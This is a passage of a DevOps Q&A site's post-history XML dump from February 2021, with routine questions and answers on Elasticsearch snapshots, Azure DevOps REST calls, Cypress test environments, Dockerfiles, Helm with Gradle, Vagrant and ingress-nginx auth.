  <row Id="41068" PostHistoryTypeId="3" PostId="13341" RevisionGUID="9fc32a02-ff5f-451a-8439-3dd2191239ed" CreationDate="2021-02-09T23:14:44.357" UserId="26027" Text="&lt;salt&gt;&lt;pillar&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41069" PostHistoryTypeId="2" PostId="13342" RevisionGUID="10c9128e-8d03-49ac-882e-905b7a2838df" CreationDate="2021-02-10T02:42:40.273" UserId="11411" Text="In one of my ES cluster, the elasticsearch snapshot was struck in inprogress state from few days. I tried below options, but it didn't work out.&#xD;&#xA;&#xD;&#xA;ElasticSearch Version: 5.6.10&#xD;&#xA;&#xD;&#xA; 1. Tried the delete the snapshot with ES API, but it didn't work out&#xD;&#xA; 2. Planned to cancel the task from pending tasks, but it is not listing there&#xD;&#xA; 3. Tried rolling restart, but didn't work out&#xD;&#xA;&#xD;&#xA;I know the one solution which is full restart of elasticsearch cluster. But I don't want to do it in production.&#xD;&#xA;&#xD;&#xA;Please help me in this." ContentLicense="CC BY-SA 4.0" />
  <row Id="41070" PostHistoryTypeId="1" PostId="13342" RevisionGUID="10c9128e-8d03-49ac-882e-905b7a2838df" CreationDate="2021-02-10T02:42:40.273" UserId="11411" Text="Elasticsearch snapshot struck in inprogress state from one week" ContentLicense="CC BY-SA 4.0" />
  <row Id="41071" PostHistoryTypeId="3" PostId="13342" RevisionGUID="10c9128e-8d03-49ac-882e-905b7a2838df" CreationDate="2021-02-10T02:42:40.273" UserId="11411" Text="&lt;elasticsearch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41072" PostHistoryTypeId="2" PostId="13343" RevisionGUID="95afa7c5-39c4-43bf-a545-b415465f2da2" CreationDate="2021-02-10T07:03:45.580" UserId="26029" Text="Is there anywhere a documentation, that ony references the RestApi 5.0? &#xD;&#xA;So I can find only what I am able to use?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41073" PostHistoryTypeId="1" PostId="13343" RevisionGUID="95afa7c5-39c4-43bf-a545-b415465f2da2" CreationDate="2021-02-10T07:03:45.580" UserId="26029" Text="Documentation of Azure DevOps Server 2019 Rest API" ContentLicense="CC BY-SA 4.0" />
  <row Id="41074" PostHistoryTypeId="3" PostId="13343" RevisionGUID="95afa7c5-39c4-43bf-a545-b415465f2da2" CreationDate="2021-02-10T07:03:45.580" UserId="26029" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41075" PostHistoryTypeId="2" PostId="13344" RevisionGUID="0a58fff5-ba92-451b-9012-28e5ca147063" CreationDate="2021-02-10T07:25:44.967" UserId="6341" Text="You can not choose versions on the start page of REST API but you can do that on any other page that describes calls (https://docs.microsoft.com/en-us/rest/api/azure/devops/wit/work%20items/list?view=azure-devops-rest-5.0):&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gPrQL.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41076" PostHistoryTypeId="2" PostId="13345" RevisionGUID="adade4a4-0db9-413a-acfd-7824063ba134" CreationDate="2021-02-10T08:06:28.353" UserId="26030" Text="Hello DevOps community!&#xD;&#xA;&#xD;&#xA;TL;DR&#xD;&#xA;What are your cases where you integrated cypress end-to-end testing to your project? What are the best approaches? Pitfalls?&#xD;&#xA;&#xD;&#xA;Long story...&#xD;&#xA;I got the QA engineer asking me to help him organizing the end-to-end project testing with Cypress.&#xD;&#xA;There are backend and frontend containers running on AWS ECS that are using several other services (RDS, redis, elasticsearch, etc.).&#xD;&#xA;We have our infrastructure written in HCL (Terraform)&#xD;&#xA;We use Ansible to provision EC2 instance with OpenVPN to allow developers accessing database.&#xD;&#xA;We have automatic deployment to AWS using CircleCI.&#xD;&#xA;We have three environments - prod, dev and demo - each one is a separate set of identical infrastructure stack.&#xD;&#xA;&#xD;&#xA;After a meeting with frontend guys, me and QA agreed that we are not going to run Cypress on every single commit in dev, i.e. we won't configure cypress in workflow for regular features development. Instead, they've raised and idea of having separate environment that will get automatically provisioned **on-demand** when QA needs to do testing.&#xD;&#xA;&#xD;&#xA;I've actually started to glue terraform with ansible to have testing infrastructure being provisioned on-demand, let's say with one shell script? But faced several problems - using terraform provisioners not possible because I'm going to parse tfstate file to perform steps defined in provisioners, but tfstate is being saved on disk only after terraform apply finishes. Organizing an additional instance or VM to apply terraform first and then parse tfstate file looks like overkill.&#xD;&#xA;&#xD;&#xA;Any ideas, any use-cases and links are welcomed, many thanks to everyone helping!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41077" PostHistoryTypeId="1" PostId="13345" RevisionGUID="adade4a4-0db9-413a-acfd-7824063ba134" CreationDate="2021-02-10T08:06:28.353" UserId="26030" Text="Best way to organize e2e testing in separate environment without intervention to stable development process" ContentLicense="CC BY-SA 4.0" />
  <row Id="41078" PostHistoryTypeId="3" PostId="13345" RevisionGUID="adade4a4-0db9-413a-acfd-7824063ba134" CreationDate="2021-02-10T08:06:28.353" UserId="26030" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;terraform&gt;&lt;git&gt;&lt;cypress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41080" PostHistoryTypeId="2" PostId="13346" RevisionGUID="ec9d144c-b235-4795-9902-4fc830e3df10" CreationDate="2021-02-10T18:31:58.863" UserId="26043" Text="I am using multistage to reduce size of docker image and size of second image is reduced but when I try to run docker container from second image, I am retrieving no module found cv2. How would I solve this issue. My problem is that I do not know what files all need to be copied to the final Docker image. Thanks, help is highly appreciated. I tried squash but its not working&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    FROM tensorflow/tensorflow:1.8.0-py3 AS baseimage&#xD;&#xA;    WORKDIR /src&#xD;&#xA;    RUN apt-get update&#xD;&#xA;    RUN apt-get install -y \&#xD;&#xA;        build-essential \&#xD;&#xA;        cmake \&#xD;&#xA;        git \&#xD;&#xA;        wget \&#xD;&#xA;        unzip \&#xD;&#xA;        yasm \&#xD;&#xA;        pkg-config \&#xD;&#xA;        libswscale-dev \&#xD;&#xA;        libtbb2 \&#xD;&#xA;        libtbb-dev \&#xD;&#xA;        libjpeg-dev \&#xD;&#xA;        libpng-dev \&#xD;&#xA;        libtiff-dev \&#xD;&#xA;        libjasper-dev \&#xD;&#xA;        libavformat-dev \&#xD;&#xA;        libhdf5-dev \&#xD;&#xA;        libpq-dev&#xD;&#xA;&#xD;&#xA;     RUN pip3 --no-cache-dir install \&#xD;&#xA;     numpy \&#xD;&#xA;     hdf5storage \&#xD;&#xA;     h5py \&#xD;&#xA;     scipy \&#xD;&#xA;     py3nvml&#xD;&#xA;&#xD;&#xA;    WORKDIR /&#xD;&#xA;    ENV OPENCV_VERSION=&quot;3.4.1&quot;&#xD;&#xA;    RUN wget https://github.com/opencv/opencv/archive/${OPENCV_VERSION}.zip \&#xD;&#xA;    &amp;&amp; unzip ${OPENCV_VERSION}.zip \&#xD;&#xA;    &amp;&amp; mkdir /opencv-${OPENCV_VERSION}/cmake_binary \&#xD;&#xA;    &amp;&amp; cd /opencv-${OPENCV_VERSION}/cmake_binary \&#xD;&#xA;    &amp;&amp; cmake -DBUILD_TIFF=ON \&#xD;&#xA;    -DBUILD_opencv_java=OFF \&#xD;&#xA;    -DWITH_CUDA=OFF \&#xD;&#xA;    -DENABLE_AVX=ON \&#xD;&#xA;    -DWITH_OPENGL=ON \&#xD;&#xA;    -DWITH_OPENCL=ON \&#xD;&#xA;    -DWITH_IPP=ON \&#xD;&#xA;    -DWITH_TBB=ON \&#xD;&#xA;    -DWITH_EIGEN=ON \&#xD;&#xA;    -DWITH_V4L=ON \&#xD;&#xA;    -DBUILD_TESTS=OFF \&#xD;&#xA;    -DBUILD_PERF_TESTS=OFF \&#xD;&#xA;    -DCMAKE_BUILD_TYPE=RELEASE \&#xD;&#xA;    -DCMAKE_INSTALL_PREFIX=$(python3 -c &quot;import sys; print(sys.prefix)&quot;) \&#xD;&#xA;    -DPYTHON_EXECUTABLE=$(which python3) \&#xD;&#xA;    -DPYTHON_INCLUDE_DIR=$(python3 -c &quot;from distutils.sysconfig import get_python_inc; &#xD;&#xA;     print(get_python_inc())&quot;) \&#xD;&#xA;     -DPYTHON_PACKAGES_PATH=$(python3 -c &quot;from distutils.sysconfig import get_python_lib; &#xD;&#xA;     print(get_python_lib())&quot;) .. \&#xD;&#xA;     &amp;&amp; make install \&#xD;&#xA;     &amp;&amp; rm /${OPENCV_VERSION}.zip \&#xD;&#xA;     &amp;&amp; rm -r /opencv-${OPENCV_VERSION}&#xD;&#xA;     RUN pip3 install -q keras==2.1.5&#xD;&#xA;     RUN pip3 install pyzmq&#xD;&#xA;     RUN pip3 install pillow&#xD;&#xA;&#xD;&#xA;     FROM python:3.8-slim&#xD;&#xA;     RUN  mkdir -p /server/src&#xD;&#xA;     WORKDIR /server/src&#xD;&#xA;     COPY . ./&#xD;&#xA;     COPY --from=baseimage /src /server/src &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41081" PostHistoryTypeId="1" PostId="13346" RevisionGUID="ec9d144c-b235-4795-9902-4fc830e3df10" CreationDate="2021-02-10T18:31:58.863" UserId="26043" Text="Issue in copying files from base image to second image multistage" ContentLicense="CC BY-SA 4.0" />
  <row Id="41082" PostHistoryTypeId="3" PostId="13346" RevisionGUID="ec9d144c-b235-4795-9902-4fc830e3df10" CreationDate="2021-02-10T18:31:58.863" UserId="26043" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41086" PostHistoryTypeId="2" PostId="13348" RevisionGUID="48712dcd-455e-4067-9505-616db92ef3c4" CreationDate="2021-02-10T20:45:21.273" UserId="24678" Text="I understand the concept of GitOps, where Git is the source of truth.&#xD;&#xA;&#xD;&#xA;Well with us that's partly true. Gradle is our source of truth, and our `build.gradle` files, which are stored in Git, define the microservices, their versions, and their dependencies that we want deployed to an EKS cluster.&#xD;&#xA;&#xD;&#xA;This is where my disconnect comes in.&#xD;&#xA;&#xD;&#xA;Supposedly, Helm charts should be in their corresponding applications. So I should have this directory structure per microservice. The Helm chart is created using `helm create`&#xD;&#xA;&#xD;&#xA;    /microservice1&#xD;&#xA;    /microservice1/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;    -----/requirements.yaml&#xD;&#xA;&#xD;&#xA;    /microservice2&#xD;&#xA;    /microservice2/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;&#xD;&#xA;Some questions. (I'll update as I think of some more)&#xD;&#xA;&#xD;&#xA; 1. We use semantic version when we build our services, and that version is automatically generated and committed on the `gradle.properties` file via Gradle plugin I wrote. How can this version be reflected in the microservice's Chart.yaml file so the `version` there corresponds to the version in `gradle.properties`?&#xD;&#xA; 2. Say microservice1 depends on microservice2, hence it has a `requirements.yaml` file. (The dependency is also of course reflected in `microservice1/build.gradle dependencies{}` section.) If I update microservice2 with a new version (again automated via plugin), how am I supposed reflect that in microservice1's requirements.yaml for microservice2?&#xD;&#xA; 3. Our microservices use Spring boot profile, and we have `sandbox, staging,` and `production` profiles. When Spring Boot comes up, it reads the appropriate properties file based on the profile. Where can this be defined in the `values.yaml` file? Or should I have 3 different values.yaml files for each profile?&#xD;&#xA; 4. We define a JAVA_OPTS variable that has the JAVA options that the microservice needs, and this is dynamic, depending on the microservice. How can this be defined via Helm charts?&#xD;&#xA;&#xD;&#xA;Disclosure, I'm new to Kubernets and Helm, and though I **KNOW** what I want to do, I don't quite know how to wire it together yet. I know I can do all the updates &quot;manually&quot; but I'd rather not do that. Is there a workflow already out there that supports this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41087" PostHistoryTypeId="1" PostId="13348" RevisionGUID="48712dcd-455e-4067-9505-616db92ef3c4" CreationDate="2021-02-10T20:45:21.273" UserId="24678" Text="Connecting Gradle with Helm/Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41088" PostHistoryTypeId="3" PostId="13348" RevisionGUID="48712dcd-455e-4067-9505-616db92ef3c4" CreationDate="2021-02-10T20:45:21.273" UserId="24678" Text="&lt;helm&gt;&lt;gradle&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41089" PostHistoryTypeId="5" PostId="13348" RevisionGUID="1a27159e-9724-44e0-bc66-9935de3c84f7" CreationDate="2021-02-10T20:52:19.110" UserId="24678" Comment="added 61 characters in body" Text="I understand the concept of GitOps, where Git is the source of truth.&#xD;&#xA;&#xD;&#xA;Well with us that's partly true. Gradle is our source of truth, and our `build.gradle` files, which are stored in Git, define the microservices, their versions, and their dependencies that we want deployed to an EKS cluster.&#xD;&#xA;&#xD;&#xA;This is where my disconnect comes in.&#xD;&#xA;&#xD;&#xA;Supposedly, Helm charts should be in their corresponding applications. So I should have this directory structure per microservice. The Helm chart is created using `helm create`&#xD;&#xA;&#xD;&#xA;    /microservice1&#xD;&#xA;    /microservice1/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;    -----/requirements.yaml&#xD;&#xA;&#xD;&#xA;    /microservice2&#xD;&#xA;    /microservice2/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;&#xD;&#xA;Some questions. (I'll update as I think of some more)&#xD;&#xA;&#xD;&#xA; 1. We use semantic version when we build our services, and that version is automatically generated and committed on the `gradle.properties` file via Gradle plugin I wrote. How can this version be reflected in the microservice's Chart.yaml file so the `version` there corresponds to the version in `gradle.properties`?&#xD;&#xA; 2. Say microservice1 depends on microservice2, hence it has a `requirements.yaml` file. (The dependency is also of course reflected in `microservice1/build.gradle dependencies{}` section.) If I update microservice2 with a new version (again automated via plugin), how am I supposed reflect that in microservice1's requirements.yaml for microservice2, and then update microservice1's version in its `Chart.yaml`?&#xD;&#xA; 3. Our microservices use Spring boot profile, and we have `sandbox, staging,` and `production` profiles. When Spring Boot comes up, it reads the appropriate properties file based on the profile. Where can this be defined in the `values.yaml` file? Or should I have 3 different values.yaml files for each profile?&#xD;&#xA; 4. We define a JAVA_OPTS variable that has the JAVA options that the microservice needs, and this is dynamic, depending on the microservice. How can this be defined via Helm charts?&#xD;&#xA;&#xD;&#xA;Disclosure, I'm new to Kubernets and Helm, and though I **KNOW** what I want to do, I don't quite know how to wire it together yet. I know I can do all the updates &quot;manually&quot; but I'd rather not do that. Is there a workflow already out there that supports this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41090" PostHistoryTypeId="5" PostId="13348" RevisionGUID="c1c64fa9-66e5-4bc0-93d0-814ccef82444" CreationDate="2021-02-10T20:58:10.527" UserId="24678" Comment="added 61 characters in body" Text="I understand the concept of GitOps, where Git is the source of truth.&#xD;&#xA;&#xD;&#xA;Well with us that's partly true. Gradle is our source of truth, and our `build.gradle` files, which are stored in Git, define the microservices, their versions, and their dependencies that we want deployed to an EKS cluster.&#xD;&#xA;&#xD;&#xA;This is where my disconnect comes in.&#xD;&#xA;&#xD;&#xA;Supposedly, Helm charts should be in their corresponding applications. So I should have this directory structure per microservice. The Helm chart is created using `helm create`&#xD;&#xA;&#xD;&#xA;    /microservice1&#xD;&#xA;    /microservice1/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;    -----/requirements.yaml&#xD;&#xA;&#xD;&#xA;    /microservice2&#xD;&#xA;    /microservice2/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;&#xD;&#xA;Some questions. (I'll update as I think of some more)&#xD;&#xA;&#xD;&#xA; 1. We use semantic version when we build our services, and that version is automatically generated and committed on the `gradle.properties` file via Gradle plugin I wrote. How can this version be reflected in the microservice's Chart.yaml file so the `version` there corresponds to the version in `gradle.properties`?&#xD;&#xA; 2. Say microservice1 depends on microservice2, hence it has a `requirements.yaml` file. (The dependency is also of course reflected in `microservice1/build.gradle dependencies{}` section.) If I update microservice2 with a new version (again automated via plugin), how am I supposed reflect that in microservice1's requirements.yaml for microservice2, and then update microservice1's version in its `Chart.yaml`?&#xD;&#xA; 3. Our microservices use Spring boot profile, and we have `sandbox, staging,` and `production` profiles. When Spring Boot comes up, it reads the appropriate properties file based on the profile. Where can this be defined in the `values.yaml` file? Or should I have 3 different values.yaml files for each profile?&#xD;&#xA; 4. We define a JAVA_OPTS variable that has the JAVA options that the microservice needs, and this is dynamic, depending on the microservice. How can this be defined via Helm charts?&#xD;&#xA; 5. To save costs, I just want to define **ONE** ingress controller, and then each microservice with just add a `/path/microserviceX` rule to it. How can this be reflected in each microservice's `ingress.yaml` chart?&#xD;&#xA;&#xD;&#xA;Disclosure, I'm new to Kubernets and Helm, and though I **KNOW** what I want to do, I don't quite know how to wire it together yet. I know I can do all the updates &quot;manually&quot; but I'd rather not do that. Is there a workflow already out there that supports this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41091" PostHistoryTypeId="5" PostId="13348" RevisionGUID="8deff20c-ab84-4135-b5a0-c9049df69949" CreationDate="2021-02-10T21:30:19.757" UserId="24678" Comment="added 107 characters in body" Text="I understand the concept of GitOps, where Git is the source of truth.&#xD;&#xA;&#xD;&#xA;Well with us that's partly true. Gradle is our source of truth, and our `build.gradle` files, which are stored in Git, define the microservices, their versions, and their dependencies that we want deployed to an EKS cluster.&#xD;&#xA;&#xD;&#xA;This is where my disconnect comes in.&#xD;&#xA;&#xD;&#xA;Supposedly, Helm charts should be in their corresponding applications. So I should have this directory structure per microservice. The Helm chart is created using `helm create`&#xD;&#xA;&#xD;&#xA;    /microservice1&#xD;&#xA;    /microservice1/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;    -----/requirements.yaml&#xD;&#xA;&#xD;&#xA;    /microservice2&#xD;&#xA;    /microservice2/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;&#xD;&#xA;Some questions. (I'll update as I think of some more)&#xD;&#xA;&#xD;&#xA; 1. We use semantic version when we build our services, and that version is automatically generated and committed on the `gradle.properties` file via Gradle plugin I wrote. How can this version be reflected in the microservice's Chart.yaml file so the `version` there corresponds to the version in `gradle.properties`?&#xD;&#xA; 2. Say microservice1 depends on microservice2, hence it has a `requirements.yaml` file. (The dependency is also of course reflected in `microservice1/build.gradle dependencies{}` section.) If I update microservice2 with a new version (again automated via plugin), how am I supposed reflect that in microservice1's requirements.yaml for microservice2, and then update microservice1's version in its `Chart.yaml`?&#xD;&#xA; 3. Our microservices use Spring boot profile, and we have `sandbox, staging,` and `production` profiles. When Spring Boot comes up, it reads the appropriate properties file based on the profile. Where can this be defined in the `values.yaml` file? Or should I have 3 different values.yaml files for each profile?&#xD;&#xA; 4. We define a JAVA_OPTS variable that has the JAVA options that the microservice needs, and this is dynamic, depending on the microservice. How can this be defined via Helm charts?&#xD;&#xA; 5. To save costs, I just want to define **ONE** ingress controller, and then each microservice with just add a `/path/microserviceX` rule to it. How can this be reflected in each microservice's `ingress.yaml` chart?&#xD;&#xA;&#xD;&#xA;Disclosure, I'm new to Kubernets and Helm, and though I **KNOW** what I want to do, I don't quite know how to wire it together yet. I know I can do all the updates &quot;manually&quot; but I'd rather not do that. Is there a workflow already out there that supports this?&#xD;&#xA;&#xD;&#xA;It seems like I need scripts to massage my helm charts when I release a microservice, but I'm not sure." ContentLicense="CC BY-SA 4.0" />
  <row Id="41092" PostHistoryTypeId="5" PostId="13348" RevisionGUID="d82395cd-48f9-4fb2-a50e-1a03adcabb5e" CreationDate="2021-02-10T21:57:53.167" UserId="24678" Comment="added 3 characters in body" Text="I understand the concept of GitOps, where Git is the source of truth.&#xD;&#xA;&#xD;&#xA;Well with us that's partly true. Gradle is our source of truth, and our `build.gradle` files, which are stored in Git, define the microservices, their versions, and their dependencies that we want deployed to an EKS cluster.&#xD;&#xA;&#xD;&#xA;This is where my disconnect comes in.&#xD;&#xA;&#xD;&#xA;Supposedly, Helm charts should be in their corresponding applications. So I should have this directory structure per microservice. The Helm chart is created using `helm create`&#xD;&#xA;&#xD;&#xA;    /microservice1&#xD;&#xA;    /microservice1/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;    -----/requirements.yaml&#xD;&#xA;&#xD;&#xA;    /microservice2&#xD;&#xA;    /microservice2/build.gradle&#xD;&#xA;    /src/...  &lt;- source code&#xD;&#xA;    /helm/&#xD;&#xA;    -----/Chart.yaml&#xD;&#xA;    -----/charts&#xD;&#xA;    -----/templates&#xD;&#xA;    -----/values.yaml&#xD;&#xA;&#xD;&#xA;Some questions. (I'll update as I think of some more)&#xD;&#xA;&#xD;&#xA; 1. We use semantic version when we build our services, and that version is automatically generated and committed on the `gradle.properties` file via Gradle plugin I wrote. How can this version be reflected in the microservice's Chart.yaml file so the `version` there corresponds to the version in `gradle.properties`?&#xD;&#xA; 2. Say microservice1 depends on microservice2, hence it has a `requirements.yaml` file. (The dependency is also of course reflected in `microservice1/build.gradle dependencies{}` section.) If I update microservice2 with a new version (again automated via plugin), how am I supposed to reflect that in microservice1's requirements.yaml for microservice2, and then update microservice1's version in its `Chart.yaml`?&#xD;&#xA; 3. Our microservices use Spring boot profile, and we have `sandbox, staging,` and `production` profiles. When Spring Boot comes up, it reads the appropriate properties file based on the profile. Where can this be defined in the `values.yaml` file? Or should I have 3 different values.yaml files for each profile?&#xD;&#xA; 4. We define a JAVA_OPTS variable that has the JAVA options that the microservice needs, and this is dynamic, depending on the microservice. How can this be defined via Helm charts?&#xD;&#xA; 5. To save costs, I just want to define **ONE** ingress controller, and then each microservice with just add a `/path/microserviceX` rule to it. How can this be reflected in each microservice's `ingress.yaml` chart?&#xD;&#xA;&#xD;&#xA;Disclosure, I'm new to Kubernets and Helm, and though I **KNOW** what I want to do, I don't quite know how to wire it together yet. I know I can do all the updates &quot;manually&quot; but I'd rather not do that. Is there a workflow already out there that supports this?&#xD;&#xA;&#xD;&#xA;It seems like I need scripts to massage my helm charts when I release a microservice, but I'm not sure." ContentLicense="CC BY-SA 4.0" />
  <row Id="41093" PostHistoryTypeId="2" PostId="13349" RevisionGUID="e4b68552-7921-400e-b390-601b344b7714" CreationDate="2021-02-11T05:58:02.060" UserId="26053" Text="I get this error when I run a simple vagrant script to spin up a VM. The &quot;provider&quot; is VirtualBox &amp; the &quot;box&quot; to be used is CentOS7. &#xD;&#xA;&#xD;&#xA;I have tried to change the hostname to all strings. It was a combination of strings and numerals earlier.&#xD;&#xA;&#xD;&#xA;I have also moved the &quot;config.vm.hostname &quot;OABox&quot; &quot; to line 12. It was on line 9 earlier; i.e. I moved it to the &quot;define properties block&quot;&#xD;&#xA;&#xD;&#xA;[![Vagrant Script][1]][1]&#xD;&#xA;&#xD;&#xA;[![Error message I get when I run the script][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ojUbw.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/P0fcQ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41094" PostHistoryTypeId="1" PostId="13349" RevisionGUID="e4b68552-7921-400e-b390-601b344b7714" CreationDate="2021-02-11T05:58:02.060" UserId="26053" Text="Error - &quot;`block (2 levels) in &lt;top (required)&gt;': wrong number of arguments (given 1, expected 0) (ArgumentError)&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41095" PostHistoryTypeId="3" PostId="13349" RevisionGUID="e4b68552-7921-400e-b390-601b344b7714" CreationDate="2021-02-11T05:58:02.060" UserId="26053" Text="&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41096" PostHistoryTypeId="2" PostId="13350" RevisionGUID="7df5e04a-5ee7-4d16-9bf6-e0b1f3f78966" CreationDate="2021-02-11T14:44:16.617" UserId="26063" Text="[pyinfra](https://pyinfra.com/) was designed for this purpose. [Fabric](https://www.fabfile.org/) can also be used to script configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="41097" PostHistoryTypeId="2" PostId="13351" RevisionGUID="7e37fa18-7e4b-47df-b9ae-e1dcb768c794" CreationDate="2021-02-11T16:45:05.107" UserId="25822" Text="The thing I was looking for was [external-auth][1] in ingress-nginx. I created a simple service with nodejs which took over all the basic-auth logic. Then I used an external link to this service in k8s annotations for restricted resources.&#xD;&#xA;&#xD;&#xA;annotation snippet:&#xD;&#xA;&#xD;&#xA;      annotations:&#xD;&#xA;        nginx.ingress.kubernetes.io/auth-url: http://service-name.default.svc.cluster.local:3000/auth &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/examples/auth/external-auth/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41098" PostHistoryTypeId="2" PostId="13352" RevisionGUID="a015ed25-3411-4a68-8da4-173dee9a83ff" CreationDate="2021-02-11T18:11:12.450" UserId="26065" Text="Yes , you can ( and in swarm mode you should )&#xD;&#xA;&#xD;&#xA;* [rexray example](https://blog.vizuri.com/practical-persistent-cloud-storage-for-docker-in-aws-using-rexray-pt-1)&#xD;&#xA;&#xD;&#xA;* [s3vol example](https://stackoverflow.com/questions/49379881/mount-s3fs-as-docker-volume)&#xD;&#xA;&#xD;&#xA;* [also for registry](https://docs.docker.com/registry/storage-drivers/s3/)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41099" PostHistoryTypeId="5" PostId="13352" RevisionGUID="8c4f3c59-533b-4120-9816-353175a52f44" CreationDate="2021-02-11T18:30:26.363" UserId="26065" Comment="added 115 characters in body" Text="Yes , you can ( and in swarm mode you should )&#xD;&#xA;&#xD;&#xA; * [rexray example](https://blog.vizuri.com/practical-persistent-cloud-storage-for-docker-in-aws-using-rexray-pt-1)&#xD;&#xA;&#xD;&#xA; * [s3vol example](https://stackoverflow.com/questions/49379881/mount-s3fs-as-docker-volume)&#xD;&#xA;&#xD;&#xA; * [in fact with volume plugins you may attach many things](https://docs.docker.com/engine/extend/legacy_plugins/#volume-plugins) &#xD;&#xA;&#xD;&#xA; * [also for registry](https://docs.docker.com/registry/storage-drivers/s3/)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41100" PostHistoryTypeId="50" PostId="4336" RevisionGUID="e614b684-171e-47f7-9f00-94cbef692a13" CreationDate="2021-02-11T20:03:40.390" UserId="-1" />
  <row Id="41101" PostHistoryTypeId="2" PostId="13353" RevisionGUID="82c69507-abc4-412b-a219-2a6ec7ff8a12" CreationDate="2021-02-11T22:34:32.113" UserId="26072" Text="I'm creating a a project with the code below.  &#xD;&#xA;The response is always an unspecified error.  &#xD;&#xA;&#xD;&#xA;&gt; Invoke-RestMethod :&#xD;&#xA;&gt; {&quot;$id&quot;:&quot;1&quot;,&quot;innerException&quot;:null,&quot;message&quot;:&quot;TF400898: An Internal&#xD;&#xA;&gt; Error Occurred. Activity Id:&#xD;&#xA;&gt; 3fbed4b2-9751-41ba-acbe-4d20f02ae556.&quot;,&quot;typeName&quot;:&quot;System.Web.Http.HttpResponseException,&#xD;&#xA;&gt; System.Web.Http&quot;,&quot;typeKey&quot;:&quot;HttpResponseException&quot;,&quot;errorCode&quot;:0,&quot;eventId&quot;:0}  &#xD;&#xA;&gt; At line:1 char:1  &#xD;&#xA;&gt;  Invoke-RestMethod -Uri $adoTaskUri -ContentType &quot;application/json-pat ...  &#xD;&#xA;&gt;  ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~   &#xD;&#xA;&gt;      CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException  &#xD;&#xA;&gt;      FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand&#xD;&#xA;&#xD;&#xA;I tried the body in postman and the projects are created just fine.  &#xD;&#xA;&#xD;&#xA;Can someone see what I'm doing wrong?  &#xD;&#xA;Listing of the projects works; the body works in postman; I can create tasks with a similar script.  &#xD;&#xA;&#xD;&#xA;    $pacToken = &quot;&quot;&#xD;&#xA;    $organizationName = &quot;BLECUST&quot;&#xD;&#xA;    &#xD;&#xA;    $adoHeader = @{&quot;Accept&quot;=&quot;application/json&quot;;Authorization=(&quot;Basic {0}&quot; -f 